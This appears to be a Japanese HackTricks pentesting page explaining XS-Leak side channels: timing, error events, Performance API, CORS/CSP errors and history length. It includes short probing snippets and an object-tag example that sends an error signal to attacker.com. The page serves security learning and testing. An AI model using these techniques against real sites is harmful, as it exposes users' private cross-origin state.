hacktricks/pentesting-web/xs-search.md

97 KiB
Raw Blame History

XS-Search/XS-Leaks

Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ htARTEHackTricks AWS Red Team Expert!

HackTricksをサポートする他の方法

基本情報

XS-Searchは、サイドチャネルの脆弱性を利用してクロスオリジン情報を抽出するための手法です。

この攻撃に関与する主要なコンポーネントは次のとおりです:

  • 脆弱なWeb: 情報を抽出する対象のWebサイト。
  • 攻撃者のWeb: 攻撃者が作成した悪意のあるWebサイトで、被害者が訪れ、攻撃をホストする。
  • インクルージョンメソッド: 脆弱なWebを攻撃者のWebに組み込むために使用される技術window.open、iframe、fetch、hrefを持つHTMLタグなど
  • リーク技術: インクルージョンメソッドを通じて収集された情報に基づいて脆弱なWebの状態の違いを識別するために使用される技術。
  • 状態: 攻撃者が区別しようとする脆弱なWebの2つの潜在的な状態。
  • 検出可能な違い: 攻撃者が脆弱なWebの状態を推測するために依存する観察可能な変化。

検出可能な違い

脆弱なWebの状態を区別するためにいくつかの側面が分析されます

  • ステータスコード: クロスオリジンでさまざまなHTTP応答ステータスコードを区別し、サーバーエラー、クライアントエラー、認証エラーなどを特定します。
  • APIの使用: ページ間でWeb APIの使用を特定し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを明らかにします。
  • リダイレクト: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出します。
  • ページコンテンツ: HTTP応答本体やページのサブリソース埋め込まれたフレームの数や画像のサイズの違いなどの変化を観察します。
  • HTTPヘッダー: 特定のHTTP応答ヘッダーX-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどの存在または値を認識します。
  • タイミング: 2つの状態間で一貫した時間の違いに気付きます。

インクルージョンメソッド

  • HTML要素: HTMLは、スタイルシート、画像、スクリプトなどのクロスオリジンリソースのインクルージョンにさまざまな要素を提供し、ブラウザに非HTMLリソースのリクエストを要求させます。この目的のための潜在的なHTML要素のコンパイルはhttps://github.com/cure53/HTTPLeaksで見つけることができます。
  • フレーム: iframeobjectembedなどの要素は、HTMLリソースを攻撃者のページに直接埋め込むことができます。ページにフレーミング保護がない場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスできます。
  • ポップアップ: window.openメソッドは、新しいタブやウィンドウでリソースを開き、JavaScriptがSOPに従ってメソッドやプロパティとやり取りするためのウィンドウハンドルを提供します。シングルサインオンでよく使用されるポップアップは、対象リソースのフレーミングやクッキー制限を回避します。ただし、現代のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。
  • JavaScriptリクエスト: JavaScriptは、XMLHttpRequestFetch APIを使用して、対象リソースに直接リクエストを送信できます。これらのメソッドは、HTTPリダイレクトのフォローオプションなど、リクエストに対する正確な制御を提供します。

リーク技術

  • イベントハンドラ: XS-Leaksでの古典的なリーク技術で、onloadonerrorなどのイベントハンドラが、リソースの読み込みの成功または失敗に関する洞察を提供します。
  • エラーメッセージ: JavaScriptの例外や特別なエラーページは、エラーメッセージ自体から直接リーク情報を提供するか、その存在と不在の違いを区別することでリーク情報を提供することができます。
  • グローバルリミット: ブラウザの物理的な制限(メモリ容量など)や他の強制されたブラウザの制限は、しきい値に達したときに信号を送ることができ、リーク技術として機能します。
  • グローバルステート: ブラウザのグローバルステートHistoryインターフェースとの検出可能な相互作用を悪用できます。たとえば、ブラウザの履歴に含まれるエントリの数は、クロスオリジンページに関する手がかりを提供できます。
  • Performance API: このAPIは、現在のページのパフォーマンスの詳細を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含み、リクエストされたリソースについての推論を可能にします。
  • 読み取り可能な属性: 一部のHTML属性はクロスオリジンで読み取り可能であり、リーク技術として使用できます。たとえば、window.frame.lengthプロパティは、クロスオリジンのWebページに含まれるフレームの数をJavaScriptで数えることができます。

XSinatorツール論文

XSinatorは、その論文で説明されているいくつかの既知のXS-Leaksに対してブラウザをチェックする自動ツールです:https://xsinator.com/paper.pdf

ツールにアクセスするにはhttps://xsinator.com/をご利用ください。

{% hint style="warning" %} 除外されたXS-Leaks: 他のXSinatorのリークと干渉する可能性があるため、サービスワーカーに依存するXS-Leaksを除外する必要がありました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-LeaksCORSミス構成、postMessageの漏洩、クロスサイトスクリプティングなど除外することを選択しました。さらに、時間ベースのXS-Leaksは、遅延が発生しやすく、イズが多く、正確性に欠けるため、除外しました。 {% endhint %}

Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

タイミングベースのテクニック

以下のいくつかのテクニックは、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定する方法にはさまざまなものがあります。

クロック: performance.now() APIを使用すると、高解像度のタイミング測定を取得できます。
攻撃者が暗黙のクロックを作成するために悪用できるAPIはかなり多くあります: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSSアニメーションなど。
詳細についてはこちら: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

イベントハンドラテクニック

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

コード例では、JSからスクリプトオブジェクトをロードしようとしますが、オブジェクト、スタイルシート、画像、オーディオなどの他のタグも使用できます。さらに、タグを直接挿入して、タグ内でonloadonerrorイベントを宣言することも可能ですJSから挿入するのではなく

この攻撃のスクリプトレスバージョンもあります。

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

この技術は前述のものと同様ですが、攻撃者肯定的または否定的な回答の際に関連する時間をかけるアクションも強制し、その時間を測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

リソースを取得するのにかかる時間は、unloadbeforeunload イベントを利用して測定できます。 beforeunload イベントはブラウザが新しいページに移動しようとしているときに発生し、unload イベントは実際のナビゲーションが行われているときに発生します。これら2つのイベントの時間差を計算することで、ブラウザがリソースを取得するのに費やした時間を決定できます。

Sandboxed Frame Timing + onload

Framing Protectionsがない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。 これは通常、iframeのonloadハンドラがリソースの読み込みとJavaScriptの実行が完了した後にのみトリガーされるため可能です。スクリプトの実行によって導入される変動性をバイパスするために、攻撃者は<iframe>内でsandbox属性を使用することがあります。 この属性の追加により、JavaScriptの実行を含む多くの機能が制限され、主にネットワークパフォーマンスに影響を受ける測定が容易になります。

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + エラー + onload

  • Inclusion Methods: フレーム
  • Detectable Difference: ページコンテンツ
  • More info:
  • Summary: 正しいコンテンツにアクセスしたときにページにエラーを発生させ、任意のコンテンツにアクセスしたときに正しく読み込まれるようにすると、時間を計測せずにすべての情報を抽出するループを作成できます。
  • Code Example:

ページ内に秘密のコンテンツを挿入できると仮定します。

被害者に、CSRFを悪用してIframeを使用して「flag」を含むファイルを検索させることができます。Iframe内では、onload イベント が常に少なくとも1回実行されることがわかります。その後、URLのハッシュ内のコンテンツだけを変更して、IframeのURLを変更できます。

例:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

最初のURLが正常に読み込まれた場合、URLのハッシュ部分を変更すると、onload イベントは再度トリガーされません。しかし、ページが読み込まれる際に何らかのエラーがある場合、onload イベントは再度トリガーされます。

そのため、正しく読み込まれたページとアクセス時にエラーがあるページとを区別することができます。

Javascript Execution

  • Inclusion Methods: フレーム
  • Detectable Difference: ページコンテンツ
  • More info:
  • Summary: ページが機密情報返すか、ユーザーが制御可能なコンテンツを返す場合。ユーザーは有効なJSコードを設定し、各試行を**<script>** タグ内でロードすることができます。したがって、否定的な場合には攻撃者のコード実行され、肯定的な場合には何も実行されません。
  • Code Example:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML要素
  • Detectable Difference: ステータスコード&ヘッダー
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) は、Spectreなどの攻撃から保護するために、特定の機密なクロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護機能を悪用することができます。CORBに従う応答が、nosniff2xx ステータスコードを持つ CORB保護 Content-Type を返す場合、CORB は応答の本文とヘッダーを削除します。これを観察する攻撃者は、ステータスコード(成功またはエラーを示す)と Content-TypeCORB によって保護されているかどうかを示す)の組み合わせを推測し、潜在的な情報漏洩を引き起こす可能性があります。
  • Code Example:

攻撃に関する詳細情報については、詳細情報リンクを確認してください。

onblur

iframe内にページを読み込み、#id_value を使用して、iframe内の要素に焦点を当てることができます。その後、onblur シグナルがトリガーされると、ID要素が存在します。
portal タグを使用して同じ攻撃を実行できます。

postMessage Broadcasts

  • Inclusion Methods: フレーム、ポップアップ
  • Detectable Difference: APIの使用
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
  • Code Example: すべてのpostMessageを受信するコード。

アプリケーションは頻繁に異なるオリジン間で通信するためにpostMessage ブロードキャスト を使用します。ただし、targetOrigin パラメータが適切に指定されていない場合、この方法は機密情報を誤って公開する可能性があります。さらに、メッセージを受信するだけでもオラクルとして機能することがあります。たとえば、特定のメッセージはログインしているユーザーにのみ送信される場合があります。そのため、これらのメッセージの存在または不在により、ユーザーの状態やアイデンティティに関する情報が漏洩する可能性があります。

Trickest を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Global Limits Techniques

WebSocket API

ターゲットページが使用しているWebSocket接続の数を特定できます。これにより、アプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。

1つのオリジンWebSocket接続オブジェクトの最大数を使用している場合、その接続の状態に関係なく、新しいオブジェクトの作成はJavaScript例外を発生させます。この攻撃を実行するには、攻撃者のウェブサイトがポップアップまたはiframe内でターゲットウェブサイトを開き、ターゲットウェブが読み込まれた後、可能な限り多くのWebSocket接続を作成しようとします。スローされた例外の数が、ターゲットウェブサイトウィンドウが使用しているWebSocket接続の数です。

Payment API

このXS-Leakは、クロスオリジンページが支払いリクエストを開始したときに検出することを可能にします。

支払いリクエストは同時に1つだけアクティブにできるため、対象のウェブサイトが支払いリクエストAPIを使用している場合、このAPIを使用しようとする追加の試みは失敗し、JavaScript例外が発生します。攻撃者は、定期的に支払いAPI UIを表示しようとすることでこれを悪用できます。1つの試みが例外を引き起こす場合、対象のウェブサイトが現在それを使用していることがわかります。攻撃者は、UIを作成した直後にすぐに閉じることで、これらの定期的な試みを隠すことができます。

イベントループのタイミング

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScriptは、シングルスレッドのイベントループ並行モデルで動作するため、一度に1つのタスクしか実行できないことを意味します。この特性を悪用して、異なるオリジンのコードが実行されるのにかかる時間を測定することができます。攻撃者は、自分のコードの実行時間をイベントループで測定するために、継続的に固定されたプロパティを持つイベントをディスパッチすることで、イベントループでの自分のタスクの実行時間を測定できます。これらのイベントは、イベントプールが空のときに処理されます。他のオリジンも同じプールにイベントをディスパッチしている場合、攻撃者は自分のタスクの実行に遅延が生じることで、外部イベントの実行時間を推測することができます。この遅延を監視することで、異なるオリジンのコードの実行時間を明らかにすることができます。これにより、機密情報が公開される可能性があります。

{% hint style="warning" %} 実行時間の測定では、ネットワーク要因を排除してより正確な測定を得ることができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで。 {% endhint %}

イベントループのビジー

  • Inclusion Methods:
  • Detectable Difference: タイミング(通常はページコンテンツ、ステータスコードによる)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: ウェブ操作の実行時間を測定するための1つの方法は、スレッドのイベントループを意図的にブロックし、その後、イベントループが再度利用可能になるまでの時間を計測することです。イベントループにブロッキング操作長時間の計算や同期API呼び出しなどを挿入し、その後のコードの実行が開始されるまでの時間を監視することで、イベントループで実行されていたタスクの期間を推測することができます。この技術は、JavaScriptのイベントループのシングルスレッド性を活用し、タスクが順次実行されるため、同じスレッドを共有する他の操作のパフォーマンスや動作に関する洞察を提供できます。
  • Code Example:

イベントループをロックして実行時間を測定する技術の重要な利点の1つは、Site Isolationを回避できる可能性です。Site Isolationは、異なるウェブサイトを別々のプロセスに分離し、悪意のあるサイトが他のサイトから直接機密データにアクセスするのを防ぐことを目的とするセキュリティ機能です。しかし、共有イベントループを介して他のオリジンの実行時間に影響を与えることで、攻撃者はそのオリジンの活動に関する情報を間接的に抽出することができます。この方法は、他のオリジンのデータに直接アクセスするのではなく、そのオリジンの活動が共有イベントループに与える影響を観察することで、Site Isolationによって確立された保護バリアを回避します。

{% hint style="warning" %} 実行時間の測定では、ネットワーク要因を排除してより正確な測定を得ることができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで。 {% endhint %}

接続プール

  • Inclusion Methods: JavaScriptリクエスト
  • Detectable Difference: タイミング(通常はページコンテンツ、ステータスコードによる)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: 攻撃者は、1つを除くすべてのソケットをロックし、対象のウェブを読み込みながら同時に別のページを読み込むことで、最後のページが読み込みを開始するまでの時間を測定できる。
  • Code Example:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

ブラウザはサーバーとの通信にソケットを使用しますが、オペレーティングシステムとハードウェアのリソースが限られているため、ブラウザは同時接続の数に制限を課す必要があります。攻撃者は、次の手順を通じてこの制限を悪用できます:

  1. ブラウザのソケット制限を確認します。たとえば、256個のグローバルソケット。
  2. 異なるホストに255のリクエストを開始して、接続を完了せずに接続を維持するように設計された255のソケットを長時間占有します。
  3. 256番目のソケットを使用して、対象ページにリクエストを送信します。
  4. 別のホストに257番目のリクエストを試みます。すべてのソケットが使用中であるため手順2および3に従って、このリクエストはソケットが利用可能になるまでキューに入れられます。このリクエストが進行するまでの遅延は、256番目のソケット対象ページのソケットに関連するネットワークアクティビティに関する攻撃者にタイミング情報を提供します。これは、手順2で使用された255のソケットが引き続き使用されていることを意味し、新しく利用可能になるソケットは手順3で解放されたものである必要があるためです。256番目のソケットが利用可能になるまでにかかる時間は、対象ページへのリクエストの完了に必要な時間と直接関連しています。

詳細については、https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/を参照してください。

パフォーマンスAPIのテクニック

Performance API は、Webアプリケーションのパフォーマンスメトリクスに関する洞察を提供し、Resource Timing API によってさらに充実しています。Resource Timing API は、リクエストの詳細なネットワークリクエストのタイミング(リクエストの期間など)の監視を可能にします。特筆すべきは、サーバーが応答に Timing-Allow-Origin: * ヘッダーを含めると、転送サイズやドメイン検索時間などの追加データが利用可能になることです。

この豊富なデータは、performance.getEntriesperformance.getEntriesByName などのメソッドを介して取得でき、パフォーマンス関連情報の包括的なビューを提供します。さらに、API は、performance.now() から取得したタイムスタンプの差を計算することで、実行時間の測定を容易にします。ただし、Chrome のようなブラウザでの一部の操作では、performance.now() の精度がミリ秒に制限される場合があり、タイミング測定の粒度に影響を与える可能性があります。

タイミング測定を超えて、Performance API はセキュリティ関連の洞察を得るために活用することができます。たとえば、Chrome の performance オブジェクトにページが存在するかどうかは、X-Frame-Options の適用を示すことができます。具体的には、X-Frame-Options によってフレーム内でのレンダリングがブロックされる場合、そのページは performance オブジェクトに記録されず、ページのフレーミングポリシーについて微妙な手がかりを提供します。

エラーリーク

エラーが発生するリクエストは、パフォーマンスエントリを作成しません

スタイルリロードエラー

前述のテクニックでも、GCのブラウザバグにより、読み込みに失敗したリソースが2回読み込まれると特定されました。これにより、パフォーマンスAPIに複数のエントリが生成され、それを検出することができます。

リクエストマージエラー

このテクニックは、言及された論文の表に見つかりましたが、そのテクニックの説明は見つかりませんでした。ただし、それについてのソースコードを確認することができます。https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

空のページリーク

攻撃者は、一部のブラウザでは空のページはパフォーマンスエントリを作成しないため、リクエストが空のHTTP応答本文に結果があったかどうかを検出できます。

XSSオーディターリーク

  • 含まれる方法: フレーム
  • 検出可能な違い: ページコンテンツ
  • 詳細情報: https://xsinator.com/paper.pdf (5.2)
  • 概要: セキュリティアサーションのXSSオーディターを使用することで、攻撃者は、作成したペイロードがオーディターのフィルタリングメカニズムをトリガーしたときに応答の変更を観察することで、特定のWebページ要素を検出できます。
  • コード例: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

セキュリティアサーションSAでは、元々クロスサイトスクリプティングXSS攻撃を防ぐために設計されたXSSオーディターが、偶発的に正当なスクリプトをブロックする可能性があり、誤検知を引き起こすことが示されました。これを踏まえ、研究者たちは、XS-Leaksとして知られる概念で、クロスオリジンページ上の情報を抽出し、特定のコンテンツを検出するための技術を開発しました。これらの技術は、GCのXSSオーディターに特有でしたが、SAでは、XSSオーディターによってブロックされたページはパフォーマンスAPIにエントリを生成しないことが判明し、敏感な情報が依然として漏洩する可能性がある方法が明らかになりました。

X-Frameリーク

ページがiframeレンダリングされることが許可されていない場合、パフォーマンスエントリを作成しません。その結果、攻撃者は応答ヘッダー X-Frame-Options を検出できます。
同様に、embed タグを使用した場合も同様です。

ダウンロード検出

XS-Leakに記載されているように、ContentDispositionヘッダーによってダウンロードされるリソースパフォーマンスエントリを作成しません。このテクニックは、すべての主要なブラウザで機能します。

リダイレクト開始リーク

いくつかのブラウザの挙動を悪用するXS-Leakインスタンスを見つけました。標準では、クロスオリジンのリクエストに対して一部の属性がゼロに設定されるべきと定義されています。しかし、SAでは、Performance APIをクエリし、redirectStartタイミングデータをチェックすることで、ユーザーがリダイレクトされたかどうかを検出することが可能です。

リダイレクトの期間リーク

GCでは、リダイレクトが発生するリクエストの期間になり、そのためリダイレクトが発生しないリクエストと区別することができます。

CORPリーク

いくつかのケースでは、nextHopProtocolエントリがリーク手法として使用されることがあります。GCでは、CORPヘッダーが設定されている場合、nextHopProtocolはになります。SAでは、CORP対応リソースに対してパフォーマンスエントリを一切作成しません。

サービスワーカー

サービスワーカーは、オリジンで実行されるイベント駆動型のスクリプトコンテキストです。Webページのバックグラウンドで実行され、リソースをインターセプト、変更、およびキャッシュしてオフラインWebアプリケーションを作成できます。
サービスワーカーによってキャッシュされたリソースiframe経由でアクセスされると、リソースはサービスワーカーキャッシュから読み込まれます
リソースがサービスワーカーキャッシュから読み込まれたかどうかを検出するには、Performance APIを使用できます。
これはタイミング攻撃でも行うことができます(詳細は論文を参照)。

キャッシュ

Performance APIを使用して、リソースがキャッシュされているかどうかを確認できます。

ネットワーク期間

エラーメッセージ技術

メディアエラー

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS エラー

この技術は、Webkit ベースのブラウザが CORS リクエストを処理する方法を悪用することで、攻撃者がクロスオリジンサイトのリダイレクト先を抽出することを可能にします。特に、CORS が有効化されたリクエストがユーザーステートに基づいてリダイレクトを発行するターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、エラーメッセージ内にリダイレクト先の完全な URLが開示されます。この脆弱性は、リダイレクトの事実だけでなく、リダイレクトのエンドポイントとそれが含む可能性のある機密クエリパラメータも公開します。

SRI エラー

攻撃者は、冗長なエラーメッセージを悪用して、クロスオリジンレスポンスのサイズを推測することができます。これは、Subresource IntegritySRIのメカニズムによるもので、CDN から頻繁に取得されるリソースが改ざんされていないことを検証するために整合性属性を使用します。SRI がクロスオリジンリソースで機能するためには、これらがCORS 有効である必要があります。セキュリティアサーションSAでは、CORS エラー XS-Leakと同様に、整合性属性を持つフェッチリクエストが失敗した後にエラーメッセージをキャプチャできます。攻撃者は、整合性属性に虚偽のハッシュ値を割り当てることで、故意にこのエラーをトリガーすることができます。SA では、結果として得られるエラーメッセージが、リクエストされたリソースのコンテンツ長を誤って明らかにします。この情報漏洩により、攻撃者は応答サイズの変化を識別し、洗練された XS-Leak 攻撃の道を開くことができます。

CSP 違反/検出

XS-Leak は CSP を使用して、クロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出できます。このリークはリダイレクトを検出できますが、さらに、リダイレクト先のドメインも漏洩します。この攻撃の基本的なアイデアは、攻撃者サイトでターゲットドメインを許可することです。ターゲットドメインにリクエストが送信されると、それがクロスオリジンドメインにリダイレクトします。CSP はそれへのアクセスをブロックし、リークテクニックとして使用される違反レポートを作成します。ブラウザによっては、このレポートがリダイレクトのターゲット位置を漏洩する可能性があります。
現代のブラウザは、リダイレクト先の URL を示さないかもしれませんが、クロスオリジンリダイレクトがトリガーされたことは依然として検出できます。

キャッシュ

ブラウザはすべてのウェブサイトに共通のキャッシュを使用する可能性があります。その起源に関係なく、ターゲットページが特定のファイルを要求したかどうかを推測することができます。

ページが画像を読み込むのはユーザーがログインしている場合のみである場合、リソースを無効にして(キャッシュされている場合はそれがなくなります、詳細情報リンクを参照)、そのリソースを読み込む可能性のあるリクエストを実行し、リソースを不正なリクエストで読み込もうとします(たとえば、過度に長いリファラーヘッダーを使用)。リソースの読み込みがエラーをトリガーしなかった場合、それはキャッシュされていたためです。

CSP ディレクティブ

Google ChromeGCの新機能では、iframe 要素に属性を設定することで、ウェブページがContent Security PolicyCSPを提案できます。通常、埋め込まれたコンテンツは、HTTP リクエストと一緒にポリシーディレクティブを送信することでこれを承認する必要があり、さもなければエラーページが表示されます。ただし、iframe が既に CSP によって管理されており、新しく提案されたポリシーがより制限的でない場合、ページは通常通り読み込まれます。このメカニズムにより、攻撃者はエラーページを特定することで、クロスオリジンページの特定の CSP ディレクティブを検出できます。この脆弱性は修正済みとされていましたが、私たちの調査結果は、エラーページを検出できる新しいリーク技術を明らかにし、根本的な問題が完全に解決されていなかった可能性を示唆しています。

CORP

CORP ヘッダーは、指定されたリソースへのno-cors クロスオリジンリクエストをブロックする比較的新しいウェブプラットフォームセキュリティ機能です。このヘッダーの存在は検出できます。なぜなら、CORP で保護されたリソースは取得時にエラーをスローするからです。

CORB

攻撃に関する詳細はリンクを参照してください。

CORS error on Origin Reflection misconfiguration

Originヘッダーがヘッダー Access-Control-Allow-Origin に反映されている場合、攻撃者はこの動作を悪用してCORSモードでリソースを取得しようと試みることができます。エラーが発生しない場合、それはウェブから正しく取得されたことを意味し、エラーが発生する場合は、それがキャッシュからアクセスされたことを示しますエラーは、キャッシュが元のドメインを許可するCORSヘッダーを含む応答を保存しているために表示されます
Originが反映されていないがワイルドカードが使用されている場合Access-Control-Allow-Origin: *)、この攻撃は機能しません。

Readable Attributes Technique

Fetch Redirect

redirect: "manual"と他のパラメータを使用してFetch APIを使用してリクエストを送信すると、response.type属性を読み取ることができ、それがopaqueredirectと等しい場合、応答はリダイレクトされたことを示します。

COOP

攻撃者は、クロスオリジンHTTPレスポンスでCross-Origin Opener PolicyCOOPヘッダーの存在を推測することができます。COOPは、外部サイトが任意のウィンドウ参照を取得するのを防ぐためにWebアプリケーションによって使用されます。このヘッダーの可視性は、contentWindow参照へのアクセスを試みることで判断できます。COOPが条件付きで適用される場合、openerプロパティは明確な指標となりますCOOPがアクティブな場合は未定義であり、それがない場合は定義されています

URL Max Length - Server Side

サーバーサイドのリダイレクトがリクエスト内のユーザー入力追加データを使用している場合、通常サーバーにはリクエスト長の制限があります。ユーザーデータがその長さ-1である場合、リダイレクトがそのデータを使用して何かを追加しているため、エラーが発生し、アラートが生成されます。

ユーザーにクッキーを設定できる場合、十分なクッキーを設定することによってこの攻撃を実行することもできます(cookie bomb)。したがって、正しい応答サイズが増加すると、エラーが発生します。この場合、同じサイトからこのリクエストをトリガーすると、<script>が自動的にクッキーを送信するため(エラーを確認できます)。
クッキーボム + XS-Searchの例は、この解説の意図された解決策にあります:https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

この種の攻撃には通常、SameSite=Noneまたは同じコンテキストにあることが必要です。

URL Max Length - Client Side

Chromiumのドキュメントによると、Chromeの最大URL長は2MBです。

一般的に、_webプラットフォーム_にはURLの長さに制限はありませんただし、2^31が一般的な制限です。_Chrome_は、実用上の理由およびプロセス間通信におけるサービス拒否攻撃の問題を引き起こさないために、URLを最大2MBの長さに制限しています。

したがって、リダイレクトURLがいずれかの場合よりも大きい場合2MBを超えるURLでリダイレクトすることが可能です。これが発生すると、Chromeは**about:blank#blocked**ページを表示します。

注目すべき違いは、リダイレクト完了した場合、クロスオリジンはその情報にアクセスできないため、window.originエラーをスローすることです。ただし、制限達成され、読み込まれたページが**about:blank#blockedである場合、ウィンドウのorigin親のもののままであり、これはアクセス可能な情報**です。

2MBに到達するために必要なすべての追加情報は、初期URLのハッシュを使用して追加できるため、リダイレクトで使用されます。

最大リダイレクト数

もしブラウザの最大リダイレクト数が20である場合、攻撃者は自身のページを19回リダイレクトし、最終的に被害者をテストされたページに送ることができます。エラーが発生した場合、ページは被害者をリダイレクトしようとしていたことがわかります。

履歴の長さ

History API はJavaScriptコードがブラウザ履歴を操作することを可能にし、ユーザーが訪れたページを保存します。攻撃者はlengthプロパティを組み込み方法として使用し、JavaScriptとHTMLのナビゲーションを検出します。
history.length をチェックし、ユーザーにページをナビゲートさせ、同一オリジンに戻しhistory.length の新しい値をチェックします。

同じURLの履歴の長さ

  • 組み込み方法: Frames、ポップアップ
  • 検出可能な違い: 推測したURLと同じかどうか
  • 概要: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することが可能です。
  • コード例: 下記

攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を推測したものに変更し、すぐに about:blank に変更します。履歴の長さが増加した場合、URLが正しかったことを示し、URLが同じ場合にはリロードされないため、時間があったために増加しました。増加しなかった場合、推測したURLを読み込もうとしましたが、すぐに about:blank を読み込んだため、推測したURLを読み込む際には履歴の長さが増加しなかったことを意味します。

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

フレームカウント

Web ページ内の iframewindow.open を通じて フレームの数を数えることは、そのページ上のユーザーの状態を特定するのに役立つかもしれません。
さらに、ページに常に同じ数のフレームがある場合、継続的にフレームの数をチェックすることで、情報を漏洩させる可能性のある パターン を特定するのに役立つかもしれません。

この技術の例として、Chrome では embed が内部で使用されるため、 PDFフレームカウント検出 できます。 zoomviewpagetoolbar などの Open URL Parameters があり、これらの技術が興味深いかもしれません。

HTMLElements

HTML 要素を通じての情報漏洩は、特に動的メディアファイルがユーザー情報に基づいて生成される場合や、ウォーターマークが追加されてメディアサイズが変更される場合に、Web セキュリティ上の懸念です。これは、特定の HTML 要素が露出する情報を分析することで、攻撃者が可能な状態を区別するために悪用することができます。

HTML 要素によって露出される情報

  • HTMLMediaElement: この要素はメディアの durationbuffered 時間を明らかにし、その API を介してアクセスできます。HTMLMediaElement の詳細
  • HTMLVideoElement: videoHeightvideoWidth を公開します。一部のブラウザでは、webkitVideoDecodedByteCountwebkitAudioDecodedByteCountwebkitDecodedFrameCount などの追加のプロパティが利用可能で、メディアコンテンツについてより詳細な情報を提供します。HTMLVideoElement の詳細
  • getVideoPlaybackQuality(): この関数は、totalVideoFrames を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。getVideoPlaybackQuality() の詳細
  • HTMLImageElement: この要素は画像の heightwidth を漏洩します。ただし、画像が無効な場合、これらのプロパティは 0 を返し、image.decode() 関数は拒否され、画像の読み込みに失敗したことを示します。HTMLImageElement の詳細

CSS プロパティ

